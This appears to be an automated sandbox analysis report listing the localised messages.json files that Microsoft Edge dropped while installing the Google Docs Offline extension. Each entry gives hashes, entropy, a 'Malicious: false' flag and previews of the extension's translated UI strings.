Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
